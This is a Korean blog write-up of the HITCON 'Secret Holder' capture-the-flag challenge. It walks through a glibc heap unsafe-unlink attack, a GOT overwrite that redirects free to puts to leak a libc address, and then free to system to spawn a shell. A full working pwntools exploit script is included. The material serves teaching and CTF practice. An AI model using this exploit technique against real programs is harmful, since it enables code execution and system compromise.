y0u_bat

[HITCON] Secret Holder 본문

CTF

[HITCON] Secret Holder

유뱃 2016. 11. 24. 11:07

HITCON Secret Holder


unsafe_unlink 관련된 문제이다.



Menu introduce


메인함수에 3가지 메뉴가 있다.

keep(); wipe(); renew()

각 메뉴 기능에 대해서 간단하게 설명하자면,


keep() - 할당하는 함수.




wipe() - free 하는 함수



renew() - 청크 수정하는 함수.


Fake_Chunk


fake_chunk를 만들기 위해 huge_chunk(3)를 썻다.

 
keep(1,"A"*8) # 0x~~~10
keep(2,"B"*8)# 0x~~~40
keep(3,"C"*8) 
wipe(1) 
wipe(2)
wipe(3)  # 병합
keep(3,"A"*8) # 0x~~~10


1번과 3번이 같은 청크주소를 가르키고 있다. 그러나 1번은 free하면서

small_inuse = 0 이 되어서 재수정이 불가능하다.

 
wipe(1)
keep(1,"B"*8)
keep(2,"C"*8)

wipe(1)을 해준다. 3번이 해당청크주소를 가르키고 있으므로, free가 된다.

이때 wipe(3)으로 free 해준것이 아니기 때문에, huge_inuse = 1 상태로 유지된다.

keep(1,"B")을 해서 3번과 같은곳으로 1번을 할당을 받는다.

keep(2,"C")을 해서 할당을 하고,

renew 메뉴를 이용해서 3번에 fake_chunk를 write 해준다.

renew에서는 inuse라는 변수가 0이 아닌 1로 되어 있어야지, write 할 수 있다.

 
payload = p64(0x0)
payload += p64(0x21)
payload += p64(0x6020a8 - 24) # fd->bk = bk 
payload += p64(0x6020a8 - 16) # bk->fd = fd 
payload += p64(0x20)
payload += p64(0x90)
payload += "A"*0x80
payload += p64(0x90)
payload += p64(0x91)
payload += "B"*0x80
payload += p64(0x90)
payload += p64(0x21)
renew(3,payload)



renew를 통해서 3번에 write 해준다, 여기서 3번은 현재 1번이랑 같은 청크주소를 가지고 있다.



unlink에서 fd와 bk의 검증을 통과 시키기 위해서 청크포인터 huge_chunk 주소를 넣어줬다.

그리고 PREV_INUSE이 0인 청크를 만들어주어서, 이전 청크가 free 된것처럼 보이게 만들어주었다.

 
wipe(2)
payload = "\x00"*24
payload += p64(free_got)
renew(3,payload)


wipe(2)를 호출하게 되면 0x1da4040부분이 free 되는데, 현재 저부분은 우리가 만들어놓은 fake_chunk의 일부이다.

이전 청크가 free된것처럼 보이게 만들어서, 해당부분을 free하게 되면, 병합하기 위해 unlink 매크로가 호출된다.

 
#define unlink(P, BK, FD) {                                            
  FD = P->fd;                                                          
  BK = P->bk;                                                          
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                
    malloc_printerr (check_action, "corrupted double-linked list", P); 
  else {                                                               
    FD->bk = BK;                                                       
    BK->fd = FD;                                                       
  }                                                                    
}

FD->bk = BK;BK->fd = FD 작업을 하게 된다.

fake_fd, fake_bk 인, 0x6020a8-24와 0x6020a8-16

0x6020a8-24 + 24 = 0x6020a8-16

0x6020a8-16 + 16 = 0x6020a8-24

즉 0x6020a8 주소에 0x602090 덮어지는것을 볼 수 있다.


이제 chunk가 병합되었기 때문에, 3번 청크주소가 0x602090로 바낀것을 볼수있다.

여기서 저 0x6020a8에 있는 0x602090를 조작 할 수 있게 되면, 원하는곳으로 청크주소를 돌릴수가 있다.

0x602090에서 write하면서 0x6020a8에 있는 주소를 free_got로 덮어 버린다.

그러면, huge_chunk(3번 청크)가 free_got를 가르키고 있을것이다.

renew 메뉴를 통해서, got overwrite 할 수 있다.


Libc Leak

Got Overwrite까지 가능한데, 시스템주소를 호출하기 위해, Libc 주소를 릭 해야 된다.

코드상으로는 Leak 할 수 있는 벡터가 없기 때문에, got overwrite를 통한 릭을 해야 된다.

idea

  1. 청크에 unsorted bin 때문에, main_arena+88 주소가 들어 있다.

  2. 1번메뉴는 아직 해당청크를 가르키고 있기 때문에, renew로 "a"*16로 덮는다.

  3. free를 puts로 got overwrite를 한다

  4. wipe(1)를 하여, free(small_chunk) -> puts(small_chunk) 를 실행한다.




청크에 unsorted bin으로 인해, main_arena+88 주소가 박혀 있다.

1번메뉴는 아직 0x1da4010를 가르키고 있기때문에, renew 메뉴로 main_arena+88 전 주소까지 overwrite 할수있다.

 
payload = p64(puts_plt)
renew(3,payload)
renew(1,"/bin/sh;"+"a"*8)
wipe(1)




free_got를 puts_plt로 덮어준다.


renew 메뉴를 이용하여, leak 할 수 있게, main_arena+88 주소 전까지 덮어준다.


wipe(1)를 통해 free(small_chunk), 즉 puts(small_chunk)를 한다.

이렇게, main_arena+88 주소를 leak 할 수 있다.

이문제는 libc 파일을 제공해준다. 그러므로 좀 더 쉽게 system_libc 주소를 구할수있다.

Exploit

 
from pwn import *
p = remote("192.168.207.139",5555)
puts_plt =  0x4006c0
free_got = 0x602018
def keep(num,data):
    print p.recvuntil("3. Renew secret")
    p.sendline("1")
    print p.recvuntil("3. Huge secret")
    p.sendline(str(num))
    print p.recvuntil("Tell me your secret:")
    p.send(data)
def wipe(num):
    print p.recvuntil("3. Renew secret")
    p.sendline("2")
    print p.recvuntil("3. Huge secret")
    p.sendline(str(num))
def renew(num,data):
    print p.recvuntil("3. Renew secret")
    p.sendline("3")
    print p.recvuntil("3. Huge secret")
    p.sendline(str(num))
    print p.recvuntil("Tell me your secret:")
    p.send(data)
raw_input()
keep(1,"A"*8)
keep(2,"B"*8)
keep(3,"C"*8)
wipe(1)
wipe(2)
wipe(3)
keep(3,"A"*8)
wipe(1)
keep(1,"B"*8)
keep(2,"C"*8)
payload = p64(0x0)
payload += p64(0x21)
payload += p64(0x6020a8 - 24) # fd->bk = bk 
payload += p64(0x6020a8 - 16) # bk->fd = fd 
payload += p64(0x20)
payload += p64(0x90)
payload += "A"*0x80
payload += p64(0x90)
payload += p64(0x91)
payload += "B"*0x80
payload += p64(0x90)
payload += p64(0x21)
renew(3,payload)
wipe(2)
payload = "\x00"*24
payload += p64(free_got)
renew(3,payload)
payload = p64(puts_plt)
renew(3,payload)
renew(1,"/bin/sh;"+"a"*8)
wipe(1)
print p.recvuntil("/bin/sh;"+"a"*8)
leak = u64(p.recv(8)+"\x00\x00") - 88
print "[+] main_arena leak : " + hex(leak)
system_libc = leak - 0x3781d0
print "[+] libc_system : " + hex(system_libc)
payload = p64(system_libc)
renew(3,payload)
wipe(1)
p.interactive()



아직 huge_chunk는 free_got를 가르키고 있다.

그러므로 renew를 통해서, 다시 got overwrite를 할 수 있다.

free_got를 system_libc로 덮어 버린다.

그리고 아까 미쳐 말 못했었는데, system(chunk)가 될테니,

릭하기 위해 small_chunk에 write할때 "/bin/sh;aaaaaaaa"를 write 했었다.

나중에 system(small_chunk) 하기 위해 /bin/sh; 를 넣어 두었다.

free_got를 system_libc로 덮고 wipe(1)을 하면, 쉘을 딸 수 있다.


'CTF' 카테고리의 다른 글

[Defcon 2014] Babyfirst heap  (0) 2017.01.09
[HolyShield] diary - 400pt  (0) 2017.01.08
[BCTF] BCloud  (0) 2016.11.18
2016 Whitehat contest Malloc  (5) 2016.11.02
[2016] EKOPARTY PWN25  (0) 2016.10.29
Comments